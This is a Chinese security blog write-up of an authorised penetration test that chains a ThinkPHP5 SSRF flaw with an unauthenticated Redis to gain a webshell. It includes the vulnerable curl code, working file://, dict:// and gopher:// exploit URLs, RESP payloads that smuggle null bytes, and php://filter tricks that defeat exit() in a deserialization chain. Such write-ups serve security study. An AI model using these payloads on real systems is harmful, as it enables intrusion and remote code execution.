一次“SSRF-->RCE”的艰难利用

阅读量514808

发布时间 : 2020-04-14 11:30:39

乐清小俊杰@Pentes7eam

前言

一次授权的渗透测试中,发现一处SSRF漏洞,可结合Redis实现RCE,看似近在咫尺,却又满路荆棘,经过不懈努力,最终达成目的。其中有几处比较有意思的地方,抽象出来与大家分享。

 

发现SSRF

目标站点使用ThinkPHP5框架开发,互联网可直接下载源代码,通过代码审计发现一处SSRF漏洞,代码如下所示:

public function httpGet($url=""){

        $curl = curl_init();

        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($curl, CURLOPT_TIMEOUT, 8);
        //curl_setopt($curl, CURLOPT_TIMEOUT_MS, 1);
        curl_setopt($curl, CURLOPT_URL, $url);

        $res = curl_exec($curl);
        curl_close($curl);

        return $res;
    }

利用SSRF漏洞读取ThinkPHP5配置文件:http://domain.com/public/index.php?s=index/test/httpget&url=file:////var/www/html/tp_5.0.24/application/config.php

如上图所示,目标业务系统采用Redis缓存数据,且密码为空。

利用gopher协议尝试获取info信息:

http://domain.com/public/index.php?s=index/test/httpget&url=gopher://127.0.0.1:6379/_info

发现无回显,一段时间后500错误,疑似连接上后超时退出,原因不明(后期复盘时推测为疑似开启了php短标签导致语法错误)

尝试利用dict协议,成功获取Redis的info信息

http://domain.com/public/index.php?s=index/test/httpget&url=dict://127.0.0.1:6379/info

 

尝试Redis 写Shell

上述信息中显示,Redis服务的PID 为3517,查看/proc/3517/status文件。

其Redis服务用户权限为Redis

而目标Web服务器为Nginx,其用户权限为www-data,故利用Redis写shell,执行flushall操作后可能无法直接还原数据,需要通过本地提权获得ROOT用户。由于存在不确定性,故对于本次渗透测试场景下此方法不可取。

利用Redis dbfilename写shell过程发现写入后门时

dict://127.0.0.1:6379/set d ‘<?php phpinfo();?>’

无法使用“?”符号,如下图所示

翻阅Redis文档,发现可以使用bitop命令

bitop知识相关链接地址为:https://redis.io/commands/bitop,该命令可以对Redis缓存值按位计算并获取结果保存,如下图所示:

执行save操作后访问目标发现回显500错误,猜测原因可能如下:

  • 目标redis数据过大(目标存在10w+ keys),导致超过PHP 执行文件大小;

  • 可能是数据中存在与PHP代码相似数据,解析出现语法错误,导致无法执行。

 

尝利用ThinkPHP反序列化

查看ThinkPHP的Redis的获取数据代码,发现如果值以think_serialize:开头就可以触发反序列化。

目标ThinkPHP的版本为 5.0.24,该版本存在已知反序列化写文件漏洞,相关漏洞细节链接:http://althims.com/2020/02/07/thinkphp-5-0-24-unserialize/。采用该链接中的漏洞利用代码,直接生成的反序列化数据如下(数据前加上了think_serialize:)

测试发现由于反序列化数据流中存在\x00,导致程序报错,如下图所示:

测试发现反序列化数据流中存在“ : ” 符号,dict协议无法传输。

结合bitop not命令,先对数据进行取反,进入redis后,再取反,得到真正的反序列化数据。过程下图所示。

至此,只要访问代码中触发缓存的点即可触发ThinkPHP5反序列化。

 

修改反序列化利用代码

ThinkPHP反序列化漏洞最终的写入点为

file_put_contents($a,'<?php  exit();'.$a)

需要使用php://filter协议来绕过,原有漏洞利用代码:

php://filter/write=string.rot13/resource=xx<?php使用的rot13反转,虽然绕过了exit();但是会导致输出文件出现<?cur 如下图所示

经测试目标返回500,推测是开启了php短标签导致语法错误,这估计也是前面Redis写shell出现 500状态码的原因。

经过大量尝试,最终发现使用php://filter//convert.iconv.UCS-4LE.UCS-4BE/resource=abcd该iconv.UCS-4LE.UCS-4BE 函数会将目标4位一反转,从而绕过短标签。

但测试发现目标关键文件始终为空,而本地却可以生成。测试使用写入数据为aaaa仍为空。图为本地生成的关键文件

猜测目标开启了php strict模式,关键文件的总字符数不能被4整除(除后余2,如果添加2字符,则写入数据不能正常显示为shell)导致写入为空。

最后尝试php://filter//convert.iconv.UCS-2LE.UCS-2BE/resource=xxxx成功getshell。iconv.UCS-2LE.UCS-2BE为2位一反转。

 

gopher协议再验证

重新测试gopher协议。最后发现gopher协议会自动url解码一次。

通过nc 对比gopher和dict协议后发现,dict会自动加上quit命令 XD

于是成功让gopher有回显,url=gopher://127.0.0.1:6379/_set key aa%253abbcc%250d%250aquit如下图所示:

但是使用url=gopher://127.0.0.1:6379/_set key aa%2500bbcc%250d%250aquit时,仍然超时,猜测可能被截断,但是对比nc数据包发现和发送数据一致。

尝试将数据包直接导入redis

发现并没有修改成功,尝试导入redis-cli

修改成aa?那么真相只有一个 -> 我是菜鸡

redis-cli 的命令会被转化。如下图所示:

于是使用如上图的方式即可传入\x00字符:

url=gopher://127.0.0.1:6379/_*3%250d%250a$3%250d%250aset%250d%250a$3%250d%250akey%250d%250a$4%250d%250aaa%2500a%250d%250aquit

 

其他

经测试也可以使用 Redis bitfield命令(相关命令说明链接:https://redis.io/commands/bitfield)来快速设置字符:

本文由安恒信息安全研究院原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/202966

安全客 - 有思想的安全新媒体

分享到:微信
+110赞
收藏
安恒信息安全研究院
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66